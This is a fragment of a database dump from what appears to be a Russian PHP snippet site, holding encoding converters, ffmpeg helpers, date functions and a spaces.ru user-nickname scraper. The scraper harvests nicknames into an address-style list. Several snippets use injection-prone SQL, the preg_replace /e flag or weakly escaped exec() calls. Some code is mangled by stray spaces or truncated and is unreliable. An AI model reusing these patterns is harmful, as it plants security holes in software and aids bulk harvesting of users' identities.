"xE8"=>"и","xE9"=>"й","xEA"=>"к","xEB"=>"л","xEC"=>"м","xED"=>"н","xEE"=>"о","xEF"=>"п","xF0"=>"р","xF1"=>"с","xF2"=>"т","xF3"=>"у","xF4"=>"ф","xF5"=>"х",
"xF6"=>"ц","xF7"=>"ч","xF8"=>"ш","xF9"=>"щ","xFA"=>"ъ","xFB"=>"ы","xFC"=>"ь","xFD"=>"э","xFE"=>"ю","xFF"=>"я");
return strtr($str, $win1251utf8); }
?>','files_1864_3685_',151),(84,16,'Шаблон
проектирования','Шаблон Proxy — шаблон
проектирования, который предоставляет
объект, который\r\nконтролирует доступ к
другому объекту, перехватывая все вызовы
(выполняет функцию контейнера).','class IMath {
public: virtual double add ( double x, double y ) = 0 ; virtual double sub
(double x, double y ) = 0; virtual double mul (double x, double y ) = 0;
virtual double div (double x, double y ) = 0; }; class Math : public IMath
{ public: double add( double x, double y ) { return x + y ; } double
sub(double x, double y ) { return x - y ; } double mul (double x, double y
) { return x * y ; } double div(double x, double y ) { return x / y ; } };
class MathProxy : public IMath { public: double add( double x, double y )
{ return math. add (x, y ) ; } double sub(double x, double y ) { return
math. sub(x, y ); } double mul (double x, double y ) { return math. mul
(x, y ); } double div(double x, double y ) { return math. div(x, y ); }
private : Math math; }; #include <iostream> using std
::cout ; using std ::endl ; int main() { // Create math proxy MathProxy p
; // Do the math cout << "4 + 2 = "
<< p.add ( 4, 2) << endl ; cout
<< "4 - 2 = " << p. sub( 4,
2) << endl ; cout << "4 * 2 =
" << p.mul (4, 2) << endl ; cout
<< "4 / 2 = " << p. div(4 ,
2) << endl ; return 0;
}','files_4577_5479_',151),(85,16,'Перекодировка из
двухбайтовог о юникода в utf-8','/ / может
быть встречались с таким в j2 me ?\r\n$ s = \'\\u
041f \\ u0440 \\ u 0435 \\ u 0432 \\u 0435 \\ u 0434 \\u 041a \\ u 0440 \\
u0435 \\ u 0432 \\ u 0435 \\u 0434 \\ u 043a \\ u043 e!\' ;','/ /
чтобы перекодировать в нормальный вид
можно пошаманить вот так echo preg _ replace( \'#
\\\\\\\\ u ([ 0- 9 a - f]{ 4 })# se\' , \' iconv ("UTF- 16
BE" , "UTF -8 " , pack ("H 4 "
, "$ 1 "))\' , $ s); print _ r( json _ decode(
\'["\' . $ s. \'"]\' )
);','files_1242_5199_',151),(86,16,'Массовая смена
кодировки всех файлов','Массовая смена
кодировки всех файлов из одной
директории с utf8 на cp1251','<?php function
doit($dir=\'.\'){ $d=opendir($dir); while($f=readdir($d)){ if($f!==\'.\'
AND $f!==\'..\'){ echo $f; if(is_file($dir.\'/\'.$f)){ echo \'
Converting...\'; $a=file_get_contents($dir.\'/\'.$f);
$a=iconv(\'UTF-8\',\'WINDOWS-1251\',$a); $fp=fopen($dir.\'/\'.$f,\'w\');
fwrite($fp,$a); fclose($fp); echo \' - OK<br />\';
}elseif(is_dir($dir.\'/\'.$f)){ echo \' changing dir<br />\';
doit($dir.\'/\'.$f); }else{ echo \' Skipping<br />\'; } } } }
doit(\'.\'); ?>','files_4241_3940_',151),(87,16,'wordwrap
длямногобайтовых кодировок','wordwrap
для\r\nмногобайтовых кодировок','<?php /**
* wordwrap для многобайтовых кодировок *
автор: Megido * 20.02.10 */ function mb_wordwrap ($str, $width=75,
$break="\\n", $cut=false,
$charset="null") { if ($charset ==
"null") $charset = mb_internal_encoding(); $pieces =
split($break, $str); $result = array(); foreach ($pieces as $piece) {
$current = $piece; while ($cut && mb_strlen ($current)
>$width) { $result[] = mb_substr ($current, 0, $width, $charset);
$current = mb_substr ($current, $width, 2048, $charset); } $result[] =
$current; } return(implode($break, $result)); } echo mb_wordwrap
($mb_string, 16, "<br/>", true,
"utf-8");
?>','files_1299_3583_',151),(88,16,'Перекодировка из
hex- unicode','перекодировка из
hex-\r\nunicode','<?php /* *перекодировка из hex-
unicode */ //в переменную s добавляется строка
для перевода //пара символов для теста:
$s=\'АБВ\';
//регулярное выражение $s=preg_replace_callback
("|&#x(.{3});|
is","unicode2win",$s); //вывод
обрабатываемой строки в кодировке
виндовс-1251 echo $s; //функция обратного
вызова для обработки function unicode2win($val) {
$val=hexdec($val[1]); if ($val==401) return "Ё"; if
($val==451) return "ё"; return chr($val-848); }
?>','files_1752_3527_',151),(89,16,'Функция
определяетявляется ли строка UTF','Функция
определяет\r\nявляется ли строка
UTF','<?php function is_utf8($string) { /* ** Функция
определяет является ли строка UTF */ for ($i=0;
$i<strlen($string); $i++) { if (ord($string[$i]) < 0x80)
continue; elseif ((ord($string[$i]) & 0xE0) == 0xC0) $n=1; elseif
((ord($string[$i]) & 0xF0) == 0xE0) $n=2; elseif ((ord($string[$i])
& 0xF8) == 0xF0) $n=3; elseif ((ord($string[$i]) & 0xFC) ==
0xF8) $n=4; elseif ((ord($string[$i]) & 0xFE) == 0xFC) $n=5; else
return false; for ($j=0; $j<$n; $j++) { if ((++$i ==
strlen($string)) || ((ord($string[$i]) & 0xC0) != 0x80)) return
false; } } return true; }
?>','files_2350_3564_',151),(90,16,'Декодирует
строку в указанную
кодировку','Декодирует строку
в\r\nуказанную кодировку','<?php if
(is_utf8($string)) $detect=\'utf-8\'; else { $cp1251=0; $koi8u=0;
$strlen=strlen($string); for($i=0;$i<$strlen;$i++) {
$code=ord($string[$i]); if (($code>223 and $code<256) or
($code==179) or ($code==180) or ($code==186) or ($code==191)) $cp1251++; //
а-я, і, ґ, є, Ї if (($code>191 and $code<224) or
($code==164) or ($code==166) or ($code==167) or ($code==173)) $koi8u++; //
а-я, є, і, ї, ґ } if ($cp1251>$koi8u)
$detect=\'windows-1251\'; else $detect=\'koi8-u\'; } if
($encoding==$detect) return $string; else return iconv($detect,
$encoding."//TRANSLIT", $string); }
?>','files_4872_3429_',151),(91,16,'PHP перекодируем
текст изHTML-последовательностейи
наоборот','PHP перекодируем текст
из\r\nHTML-последовательностей\r\nи
наоборот','< ?php function unicon($str, $to_uni = false) {
$cp = Array ( "А" => "А",
"а" => "а",
"Б" => "Б",
"б" => "б",
"В" => "В",
"в" => "в",
"Г" => "Г",
"г" => "г",
"Д" => "Д",
"д" => "д",
"Е" => "Е",
"е" => "е",
"Ё" => "Ё",
"ё" => "ё",
"Ж" => "Ж",
"ж" => "ж",
"З" => "З",
"з" => "з",
"И" => "И",
"и" => "и",
"Й" => "Й",
"й" => "й",
"К" => "К",
"к" => "к",
"Л" => "Л",
"л" => "л",
"М" => "М",
"м" => "м",
"Н" => "Н",
"н" => "н",
"О" => "О",
"о" => "о",
"П" => "П",
"п" => "п",
"Р" => "Р",
"р" => "р",
"С" => "С",
"с" => "с",
"Т" => "Т",
"т" => "т",
"У" => "У",
"у" => "у",
"Ф" => "Ф",
"ф" => "ф",
"Х" => "Х",
"х" => "х",
"Ц" => "Ц",
"ц" => "ц",
"Ч" => "Ч",
"ч" => "ч",
"Ш" => "Ш",
"ш" => "ш",
"Щ" => "Щ",
"щ" => "щ",
"Ъ" => "Ъ",
"ъ" => "ъ",
"Ы" => "Ы",
"ы" => "ы",
"Ь" => "Ь",
"ь" => "ь",
"Э" => "Э",
"э" => "э",
"Ю" => "Ю",
"ю" => "ю",
"Я" => "Я",
"я" => "я" ); if ($to_uni) {
$str = strtr($str, $cp); } else { foreach ($cp as $c) { $cpp[$c] =
array_search($c, $cp); } $str = strtr($str, $cpp); } return $str; } echo
unicon(\'Москва Тверская 7\'); //выводим
расшифрованую запись в браузер
?>','files_5417_5230_',151),(92,16,'Массовая смена
кодировки всех файлов из одной
директории сutf8 на cp1251','Массовая смена
кодировки всех\r\nфайлов из одной
директории с\r\nutf8 на cp1251','<?php function doit (
$dir = \'.\' ){ $d = opendir( $dir ); while( $f = readdir ( $d )){ if( $f
!== \'.\' AND $f !== \'..\' ){ echo $f ; if( is_file ( $dir . \'/\' . $f
)){ echo \' Converting...\' ; $a = file_get_contents ( $dir .\'/\' . $f );
$a = iconv ( \'UTF-8\' ,\'WINDOWS-1251\' ,$a ); $fp = fopen ( $dir . \'/\'
. $f , \'w\' ); fwrite( $fp ,$a ); fclose( $fp ); echo \' - OK<br
/>\' ; }elseif( is_dir ( $dir .\'/\' . $f )){ echo \' changing
dir<br />\' ; doit( $dir . \'/\' .$f ); }else{ echo \'
Skipping<br />\' ; } } } } doit ( \'.\' );
?>','files_3501_5124_',151),(93,19,'музыка на
сайте','Этот код проигрывает музыку на
странице.','<bodybgsoundsrc=\\" http://
url_мелодии(midi.mp3)\\"
loop=\\"число повторений\\"
volume=\\"громкость (-1000-
0)\\"balance=\\"баланс (-1000-
1000)\\"/>
1','files_1866_1667_',151),(94,19,'скриншота
сайта','Функция создаст файл screen.jpg с
указанными\r\nпараметрами.\r\nПараметры
функции:\r\nscreen(адрес, разрешение, размер,
формат);\r\nадрес – начиная с http:// адрес
сайта, с\r\nкоторого будет снят
скриншот\r\nразрешение - указывается в
пикселях,\r\nнапример (1024x768)\r\nразмер -
ограничивается максимальное\r\nзначение
высоты и ширины,\r\nмасштабированной
картинки\r\nформат - может принимать два
значения\r\n(JPEG|PNG), по умолчанию
"JPEG".','<?php function screen( $url , $razr ,
$razm , $form) { $toapi ="http: //mini.s-shot.ru/"
.$razr."/".$razm."/".$form."/?".$url;
$scim =file_get_contents( $toapi ); file_put_contents(
"screen." .$form , $scim ); } screen( "http:
//sitear.ru" , "1024x768",
"600", "jpeg");
?>','files_3551_3239_',151),(95,19,'Получаем
анимированую картинку видео','Получаем
анимированую картинку видео','$file =
"file.avi" ; $movie = new ffmpeg_movie ( $file ); $gif
=new ffmpeg_animated_gif ("image.gif" ,100 , 100 , 24 );
for ( $frame = 150 ; $frame <= 200; $frame ++) { $image = $movie
-> getFrame ($frame ); $gif -> addFrame ( $image
);}','files_4008_2608_',151),(96,19,'Распил картинки на
квадратики','рядом с файлом создать папку
img, в нее положить файл картинки *.jpg\r\nимя
картинки передать в функцию, второй
параметр не обязательный, пилит картинку
на кучу квадратиков','function koecrushimage($imgfile,
$sidepart=4) { $root = realpath(dirname(__FILE__)) . DIRECTORY_SEPARATOR;
$dir = \'img\'; $crushdir = \'crush\'; if (!is_dir($root . $dir))
mkdir($root . $dir, 0777, true); if (!is_dir($root . $dir .
DIRECTORY_SEPARATOR . $crushdir)) mkdir($root . $dir . DIRECTORY_SEPARATOR
. $crushdir, 0777, true); $parts = pow($sidepart, 2); if (!is_dir($root .
$dir . DIRECTORY_SEPARATOR . $crushdir . DIRECTORY_SEPARATOR .
substr($imgfile, 0, -4) . DIRECTORY_SEPARATOR . $parts)) mkdir($root . $dir
. DIRECTORY_SEPARATOR . $crushdir . DIRECTORY_SEPARATOR . substr($imgfile,
0, -4) . DIRECTORY_SEPARATOR . $parts, 0777, true); $img =
imagecreatefromjpeg($root . $dir . DIRECTORY_SEPARATOR . $imgfile); $x =
imagesx($img); $y = imagesy($img); $newx =
(intval($x/$sidepart))*$sidepart; $newy = (intval($y/$sidepart))*$sidepart;
$newimg = imagecreatetruecolor($newx, $newy); imagefill($newimg, 0, 0,
0x000000); imagecopyresampled($newimg, $img, 0, 0, 0, 0, $x, $y, $newx,
$newy); $picx = $newx/$sidepart; $picy = $newy/$sidepart; for ($i=0,
$gorizontal=0; $i<$parts; $i++) { $newpic =
imagecreatetruecolor($picx, $picy); imagefill($newpic, 0, 0, 0x000000); if
((($i%$sidepart)==0) && ($i!=0)) { $gorizontal++; }
$vertical = ($i!=0) ? ($i%$sidepart) : $i; imagecopyresampled($newpic,
$newimg, 0, 0, ($vertical*$picx), ($gorizontal*$picy), $picx, $picy, $picx,
$picy); imagejpeg($newpic, $root . $dir . DIRECTORY_SEPARATOR . $crushdir .
DIRECTORY_SEPARATOR . substr($imgfile, 0, -4) . DIRECTORY_SEPARATOR .
$parts . DIRECTORY_SEPARATOR . \'pic\' . ($i+1) . \'.jpg\', 25);
imagedestroy($newpic); } screen($parts, $dir . DIRECTORY_SEPARATOR .
$crushdir . DIRECTORY_SEPARATOR . substr($imgfile, 0, -4) .
DIRECTORY_SEPARATOR . $parts); } function screen($parts, $dir) { echo
\'<table><tr>\' . PHP_EOL; for
($i=1;$i<=$parts;$i++) { echo \'<td>\' . PHP_EOL; echo
\'<img src="\' . $dir . DIRECTORY_SEPARATOR . \'pic\' . $i
. \'.jpg" alt="\' . $i . \'" />\' .
PHP_EOL; echo \'</td>\' . PHP_EOL; if (($i%(sqrt($parts))==0)
&& ($i!=0)){ echo \'</tr><tr>\'
. PHP_EOL; } } echo \'</tr></table>\' .
PHP_EOL; } koecrushimage(\'test.jpg\',
10);','files_2753_4138_',151),(97,19,'Работаем с FFmpeg
(4)','Создаем скрин (анимация) gif с
видео','<?php // создаём анимированый гиф
// путь до файла $file = "/www/1.avi"; //
поехали =) $movie = new ffmpeg_movie($file); // создаём
анимацию $gif=new
ffmpeg_animated_gif("/www/primer.gif", 100 ,100 ,24); for
($frame = 150; $frame <=200; $frame++) { $image =
$movie->getFrame($frame); $gif->addFrame($image); }
?>','files_2641_3171_',151),(98,19,'Работаем с FFmpeg
(3)','получаем и редактируем кадр с
видео','<?php // получаем скриншот по
средствам php ffmpeg и уменьшаем его // путь до
файла $file = "/www/1.avi"; // кадр
который будем выхватывать $frame = 150; //
максимальный размер по высоте $max_width = 150;
// получаем кадр в gd $movie = new ffmpeg_movie($file); $image
= $movie->getFrame($frame); $show_img = $image->toGDImage();
// редактируем то что в gd $new_image = new
ffmpeg_frame($show_img); //вычисляем старые значения
ширины и высоты $old_width = $new_image->getWidth();
$old_heighgt = $new_image->getHeight(); // соотношение
сторон $mov_ratio = $old_width/$old_heighgt; if($old_width >
$max_width){ $new_width = $max_width; } // задаём новые
параметры $new_height = $new_width / $mov_ratio; //
изменяем размер $new_image->resize($new_width,
$new_height); $new_show_img = $new_image->toGDImage(); //
выводим его header("Content-type: image/jpeg");
imagejpeg($new_show_img);
imagedestroy($new_show','files_5519_3740_',151),(99,19,'Работаем с
ffmpeg (1)','Так же, продолжительность можно
узнать и у аудио файла','<?php $movie = new
ffmpeg_movie("Luchwee_kachestvo-spaces.ru.mp4");//видео-файл
echo \'Продолжительность:
\'.gmdate("H:i:s",$movie->getDuration()); echo
\'Ширина: \'.$movie->getFrameWidth().\'/ Высота:
\'.$movie->getFrameHeight();
?>','files_2343_3140_',151),(100,19,'Изменения
битреита mp3','Для этой херни
требуется\r\nбиблиотека lame. Вот тут про
неё\r\nhttp://www.allok.ru/?id=15','//файл, который
конвертим $input_file=\'file_name.mp3\'; //требуемый
битрейт $bit=64; //куда сохранить выходной
файл $output_file=\'out.mp3\'; //выполняем команду
exec("lame \'".escapeshellcmd ($input_file)."\'
-b $bit --mp3input \'".escapeshellcmd($output_file)."\'
");','files_1953_3608_',151),(101,19,'достаем инфу из
java','достаем инфу из java','<?php $jar = \'1.jar\' ;
$zip = new ZipArchive ; if ( $zip -> open( $jar ) === TRUE) { $cont
= $zip -> getFromName ( \'META- INF/MANIFEST.MF\' ); $midp =explode(
\'MicroEdition- Profile: \' , $cont ); $midp =strtok ( $midp [ 1 ], \' \'
); $config = explode(\'MicroEdition- Configuration: \', $cont ); $config =
strtok( $config [ 1 ], \' \' ); $version = explode( \'MIDlet-Version: \' ,
$cont ); $version = strtok ($version [ 1 ], \' \' ); $name =explode(
\'MIDlet-Name: \' , $cont ); $name =strtok ( $name [ 1 ], \' \' ); $vendor
= explode(\'MIDlet-Vendor: \' , $cont ); $vendor = strtok( $vendor [ 1 ],
\' \' ); $zip -> close (); echo \'Название: \' .$name
.\'<br/> Версия: \'. $version . \'<br/>
Производитель: \'. $vendor .\'<br/>
Профиль: \' . $midp . \'<br/>
Конфигурация: \' . $config ; }
?>','files_3213_2282_',151),(102,13,'Работа с
временем | date() – вывод русского
месяца','Функция по работе с датами,
возможно кому то пригодиться.\r\nP.S. код не
мой, найден на одном сайте.','function rdate($param,
$time=0) { if(intval($time)==0)$time=time();
$MonthNames=array("Января",
"Февраля", "Марта",
"Апреля", "Мая",
"Июня", "Июля",
"Августа", "Сентября",
"Октября", "Ноября",
"Декабря"); if(strpos($param,\'M\')===false)
return date($param, $time); else return
date(str_replace(\'M\',$MonthNames[date(\'n\',$time)-1],$param), $time);
}','files_4405_3104_',151),(103,13,'Время','Мне так
надоело видеть жалкие подобия функций
времени, вот и решил вам
набыдлокодиить.\r\nСначала решил сам
написАть , но потом вспомнил что в гdcms
есть тоже норм функция,стырил,склеел
очистил от хлама и даю вам, у меня она
работает так\r\nДействительна до: 21:45:05
MSK.\r\nили\r\nДействительна до: 22 Окт 2014 в 21:28
MSK.','<?php function vremja($time) {
$timep="".date("j M Y в H:i",
$time).""; $time_p[0]=date("j n Y",
$time); $time_p[1]=date("H:i", $time); if
($time_p[0]==date("j n
Y"))$timep=date("H:i:s", $time); if
($time_p[0]==date("j n
Y"))$timep=date("H:i:s", $time); if
($time_p[0]==date("j n Y",
time()-60*60*24))$timep="Вчера в $time_p[1]";
$timep=str_replace("Jan","Янв",$timep);
$timep=str_replace("Feb","Фев",$timep);
$timep=str_replace("Mar","Марта",$timep);
$timep=str_replace("May","Мая",$timep);
$timep=str_replace("Apr","Апр",$timep);
$timep=str_replace("Jun","Июня",$timep);
$timep=str_replace("Jul","Июля",$timep);
$timep=str_replace("Aug","Авг",$timep);
$timep=str_replace("Sep","Сент",$timep);
$timep=str_replace("Oct","Окт",$timep);
$timep=str_replace("Nov","Ноября",$timep);
$timep=str_replace("Dec","Дек",$timep);
return $timep; } ?> Вызывать так echo vremja(тут
секунды или переменная которая их
хранит);','files_4380_1907_',151),(104,13,'Функция
возвращающая сколько прошло: минут/
часов/дней/недель/месяцев/лет','Функция
возвращающая сколько прошло:
минут/\r\nчасов/дней/недель/месяцев/лет','#
Показывает дату создания public static function
display_date($time) { # На возврат if ($time > time() -
60) $out .= \'Сейчас\'; elseif ($time > time() - 3600) {
$minutes = floor((time() - $time) / 60); $out .= $minutes.\' мин.
назад\'; }elseif ($time > time() - 86400) { $hours =
floor((time() - $time) / 3600); $out .= $hours.\' ч. назад\'; }
elseif ($time > time() - 604800) { # Составляем
массив для определения дня недели $days =
array ( 0 => \'Воскресенье\', 1 =>
\'Понедельник\', 2 => \'Вторник\', 3 =>
\'Среда\', 4 => \'Четверг\', 5 =>
\'Пятницу\', 6 => \'Субботу\', ); $out .= \'В
\'.$days[date(\'w\', $time)]; } elseif ($time > time() - 4233600) {
$weeks = floor((time() - $time) / 604800); $out .= $weeks.\' нед.
назад\'; } elseif ($time > time() - 16934400) { #
Составляем массив для определения
месяца $weeks = array ( 1 => \'Январе\', 2 =>
\'Феврале\', 3 => \'Марте\', 4 =>
\'Апреле\', 5 => \'Мае\', 6 => \'Июне\', 7
=> \'Июле\', 8 => \'Августе\', 9 =>
\'Сентябре\', 10 => \'Октябре\', 11 =>
\'Ноябре\', 12 => \'Декабре\', ); $out .= \'В
\'.$weeks[date(\'n\', $time)]; } elseif ($time > time() - 203212800)
{ $years = floor((time() - $time) / 16934400); $out .= (((($years % 10 ==
2) || ($years % 10 == 3) || ($years % 10 == 4)) && ($years
/ 10) != 1) ? \'года\' : \'лет\').\' назад\'; } #
Возвращаем результат return $out;
}','files_2221_1234_',151),(105,13,'текст приветствия в
зависимости от времени суток','Данный код
выводит текст приветствия
в\r\nзависимости от времени суток. Найден
в блоге\r\nодного вэбмастера.','Today = new Date(); h
= Today.getHours(); // тексты сообщений в
зависимости от времени суток
document.write("<b
align=""center"">"); if
(h<12) document.write("Доброе утро! ");
else if (h<16) document.write("Добрый день!
"); else if (h<23) document.write("Добрый
вечер! "); else if (h<5)
document.write("Доброй ночи! ");
document.write("</b>");','files_1349_1680_',151),(106,13,'Функция
определения времени','Функция
определения времени','function VrTime ( $time = null ) {
if ( $time == null ) $time = time (); $timep = "" . date
("j M Y в H:i" , $time ) . "" ;
$time_p [ 0 ] = date ( "j n Y" , $time ); $time_p [ 1 ] =
date ( "H:i" , $time ); if ( $time_p [ 0 ] == date (
"j n Y" )) $timep = date ( "H:i:s" ,
$time ); if (isset( $user )) { if ( $time_p [0 ] == date ( "j n
Y" , time ())) $timep = date ( "H:i:s" , $time
); if ( $time_p [0 ] == date ( "j n Y" , time () - 60 *
60 * 24)) $timep = "Вчера в $time_p [ 1 ] " ; }
else { if ( $time_p [0 ] == date ( "j n Y" )) $timep =
date ( "H:i:s" , $time ); if ( $time_p [0 ] == date (
"j n Y" , time () - 60 * 60 * 24)) $timep =
"Вчера в $time_p [ 1 ] " ;
}','files_5320_2826_',151),(107,13,'Подарок на др (раз в
год)','Так как многие хотят подарочек на
день рождения. Но многие админы не
решаются сделать это так как против
халявы и думают что можно менять дату
каждый день и получать подарок. Но! Есть
способ выдать подарок раз в
год:)\r\n\r\nпредположим что дата рождения у
нас вида\r\n\r\n01/01/2014\r\nтут всё от формата
зависит.\r\n\r\nДопустим дату выводим
так:\r\n$dateh=$user[\'day\'].\'/\'.$user[\'mes\'].\'/\'.$user[\'year\'];
// это наша дата рождения.\r\n\r\nСоздаем
базу\r\n\r\nCREATE TABLE IF NOT EXISTS `datehappy` (\r\n`id` int(11)
NOT NULL AUTO_INCREMENT,\r\n`year` int(11) DEFAULT 0,\r\n`id_user` int(11)
DEFAULT 0,\r\nPRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT
CHARSET=cp1251\r\nAUTO_INCREMENT=1;\r\n\r\nсюда будем
заносить данные о получении
подарка.\r\n\r\nКод в шапку сайта','<?php
$year=intval(date("Y")); // на всякий
случай проверим и обработаем только
цифры $happy=mysql_fetch_array(mysql_query("SELECT * FROM
`datehappy` WHERE `id_user` = \'$user[id]\' AND `year` =
\'$year\'")); // ищем данные о подарке за
текущий год if(date("d/m/Y")==$dateh
&& !$happy[\'id\']) { // это условие
говорит: если сегодня день рождения и в
этом году подарок не получен, то
выполняем код mysql_query("UPDATE `users` SET `ball` =
`ball` + \'1000\' WHERE `id` = \'$user[id]\'"); // вот тут
работает ваша фантазия и возможности
вашего движка:) это код выдачи подарка.
mysql_query("INSERT INTO `datehappy` SET `id_user` =
\'$user[id]\', `year` = \'$year\'"); // этот запрос
записывает что я получил подарок в этом
году. } // если будут вопросы, пишите в
почту;) ?>','files_1701_3398_',151),(108,13,'установка
временной зоны','установка временной
зоны','<?php //Временная зона $zone = 2 ;
$timezones = array(- 12 => \'Pacific/Kwajalein\' , - 11 =>
\'Pacific/Samoa\' , - 10 => \'US/Hawaii\' , - 9 =>
\'US/Alaska\' , - 8 => \'US/Pacific\' , - 7 => \'US/Arizona\'
, - 6 => \'America/ Mexico_City\' , - 5 =>
\'US/East-Indiana\' , - 4 => \'America/Santiago\' , - 3 =>
\'America/ Buenos_Aires\' , - 2 => \'Brazil/DeNoronha\' , - 1
=> \'Atlantic/ Cape_Verde\' , 0 => \'Europe/London\' , 1
=> \'Europe/Berlin\' , 2 => \'Europe/Kiev\' , 3 =>
\'Europe/Moscow\' , 4 => \'Europe/Samara\' , 5 =>
\'Asia/Yekaterinburg\' , 6 => \'Asia/Novosibirsk\' , 7 =>
\'Asia/Krasnoyarsk\' , 8 => \'Asia/Irkutsk\' , 9 =>
\'Asia/Yakutsk\' , 10 => \'Asia/Vladivostok\' , 11 =>
\'Asia/Magadan\' , 12 => \'Asia/Kamchatka\' , 13 =>
\'Pacific/Tongatapu\' , 14 => \'Pacific/Kiritimati\' );
//Установка временной зоны date_default_timezone_set
( $timezones [ $zone ]); //Вывод даты для теста echo date(
\'H:i:s d.m.Y\' ); //Вот так выводим выпадающий
список со временными зонами echo
\'<select>\' ; foreach( $timezones as $key => $val ) {
$sel = ($key == $zone ) ? \' selected="selected"\' :
NULL; $pl = ( $key >= 0 ) ? \'+\' : NULL ; echo \'<option
value="\' . $key . \'"\' . $sel .\'>(UTC\' . $pl .
$key . \') \' . $val . \'</option>\' ; } echo
\'</select>\' ;
?>','files_5380_1313_',151),(109,17,'парсер онлайну с
spaces.ru','парсер онлайну с spaces.ru','<?php /*
Name: ParseNickSpaces Author: Kulz (Shipinov Vitaly) Date: 15/09/2013 17:27
Version: 1.6 */ include_once \'sys/config.php\'; if (!$default_pages ||
!$default_add || !$default_file) { if (isset($_GET[\'config\']) ==
\'return\') { $title = \'Восстановление
конфигурационного фаила\'; include_once
\'sys/head.php\'; $open = fopen(\'sys/config.php\', \'w+\'); $text =
\'<?php # Конфигурационный фаил # Здесь
сохранены юзерские настройки # По не
назначению не применять!!! $default_pages =
"10"; // Сколько страниц парсить
$default_add = "@spaces.ru"; // Что
дописывать в конец $default_file =
"result.txt"; // Куда записывать (Путь
к файлу) ?>\'; fwrite($open, $text); fclose($open); echo
\'<div class="info">Успешно
восстановлено!</div>\'; echo \'<a
href="?"
class="link">«Назад</a>\';
echo foot(); exit; } } if (!$default_pages || !$default_add ||
!$default_file) { $title = \'Ошибка\'; include_once \'sys/head.php\';
echo \'<div class="err">Ошибка
конфигурационного фаила!</div>\'; echo
\'<a href="?config=return"
class="link">Восстановить
конфигурационный фаил»</a>\'; echo
foot(); exit; } switch ($_GET[\'menu\']) { case
"logs/look": $title = \'Просмотр логов\';
include_once \'sys/head.php\'; echo \'<div
class="class"><textarea
rows="20"
cols="90">\'.file_get_contents($default_file).\'</textarea></div>\';
echo \'<a href="?menu=logs/clean"
class="link">Очистить
логи»</a>\'; echo \'<a href="?"
class="link">«Назад</a>\';
echo foot(); exit; break; case "settings/default":
$title = \'Настройки по умолчанию\'; include_once
\'sys/head.php\'; if (isset($_POST[\'save\'])) { $default_pages =
intval($_POST[\'pages\']); $default_add =
htmlspecialchars($_POST[\'add\']); $default_file =
htmlspecialchars($_POST[\'file\']); $error = false; $errort = \'\'; if
(!is_numeric($default_pages) || strLen($default_pages) < 1 ||
$default_pages < 1) { $error = true; $errort .= \'<div
class="err">Не правильно указано
количество страниц для
парсинга!</div>\'; } if (strLen($default_file)
< 1) { $error = true; $errort .= \'<div
class="err">Не правильно указан
файл логов!</div>\'; } if (!$error) { $open =
fopen(\'sys/config.php\', \'w+\'); $text = \'<?php #
Конфигурационный фаил # Здесь сохранены
юзерские настройки # По не назначению не
применять!!! $default_pages =
"\'.$default_pages.\'"; // Сколько страниц
парсить $default_add = "\'.$default_add.\'"; //
Что дописывать в конец $default_file =
"\'.$default_file.\'"; // Куда записывать
(Путь к файлу) ?>\'; fwrite($open, $text); fclose($open);
echo \'<div class="info">Успешно
сохранено!</div>\'; } } echo $errort; echo
\'<div class="class"><form
method="post">\'; echo \'Кол-во
страниц:<br><input
type="text" name="pages"
value="\'.$default_pages.\'"><br>\';
echo \'Допись в конце:<br><input
type="text" name="add"
value="\'.$default_add.\'"><br>\';
echo \'Куда записывать:<br><input
type="text" name="file"
value="\'.$default_file.\'"><br>\';
echo \'<input type="submit"
name="save"
value="Сохранить"></form></div>\';
echo \'<a href="?"
class="link">«Назад</a>\';
echo foot(); exit; break; case "logs/clean": if
(isset($_POST[\'no\'])) { echo \'<meta
http-equiv="refresh" content="0; url=?"
/>\'; } $title = \'Очистка логов\'; include_once
\'sys/head.php\'; if (isset($_POST[\'yes\'])) { $open =
fopen($default_file, \'w+\'); fwrite($open, \'\'); fclose($open); echo
\'<div class="info">Успешно
очищено!</div>\'; } echo \'<div
class="class"><form
method="post">\'; echo \'Вы
действительно хотите очистить
логи?<br>\'; echo \'<input
type="submit" name="yes"
value="Да"><input
type="submit" name="no"
value="Нет"></form></div>\';
echo \'<a href="?"
class="link">«Назад</a>\';
echo foot(); exit; break; } $title = \'Парсить ники\';
include_once \'sys/head.php\'; if (isset($_POST[\'parse\'])) { $pages =
intval($_POST[\'pages\']); $add = htmlspecialchars($_POST[\'add\']); $error
= false; $errort = \'\'; if (!is_numeric($pages) || strLen($pages)
< 1 || $pages < 1) { $error = true; $errort .= \'<div
class="err">Не правильно указано
количество страниц для
парсинга!</div>\'; } if (!$error) { $count = 0;
$time[\'start\'] = microtime(1); for ($page = 0; $page < $pages;
$page++) { $source =
file_get_contents("http://spaces.ru/users/?sort=1&p=".$page."");
preg_match_all(\'#([a-z0-9]+)</a>#i\', $source, $nick);
foreach ($nick[0] as $s) { if ($s == \'Spaces</a>\') { $s =
$s; } else { $count++; $s = preg_replace(\'</a>\', \'\', $s);
$s = preg_replace(\'#<>#\', \'\', $s); $open =
fopen($default_file, \'a+\'); fwrite($open,
"".$s."".$add."n");
fclose($open); } } } if ($count<1) { echo \'<div
class="err">Ошибка парсинга!
Возможно, у Вас отсутствует подключение
к интеренту!</div>\'; } else { $time[\'end\'] =
microtime(1); $time[\'gen\'] = round($time[\'end\'] - $time[\'start\'], 3);
echo \'<div
class="info">Завершено<br>Пропарсено
страниц: \'.$page.\'/\'.$pages.\'<br>\'; echo
\'Начало работы: \'.date ("d/m/y - H:i:s",
$time[\'start\']).\'<br>\'; echo \'Конец работы:
\'.date ("d/m/y - H:i:s",
$time[\'end\']).\'<br>\'; echo \'Спарсено ников:
\'.$count.\'<br>\'; echo \'Время: \'.$time[\'gen\'].\'
секунд<br></div>\'; echo \'<a
href="?menu=logs/look"
class="link">Смотреть
логи»</a>\'; } } } echo $errort; echo \'<div
class="class"><form
method="post">\'; echo \'Кол-во
страниц:<br> <input
type="text" name="pages"
value="\'.$default_pages.\'"><br>\';
echo \'Допись в конце:<br> <input
type="text" name="add"
value="\'.$default_add.\'"><br>\';
echo \'<input type="submit"
name="parse"
value="Парсить"></form><br>\';
echo \'* - Чтобы каждый раз не вводить нужные
вам значения, зайдите в "Настройки
по умолчанию" и сохраните так, как
нужно вам</div>\'; if (!isset($_POST[\'parse\'])) {
echo \'<a href="?menu=logs/look"
class="link">Смотреть
логи»</a>\'; } echo \'<a
href="?menu=settings/default"
class="link">Настройки по
умолчанию»</a>\'; echo \'<a
href="?menu=logs/clean"
class="link">Очистить
логи»</a>\'; echo foot();
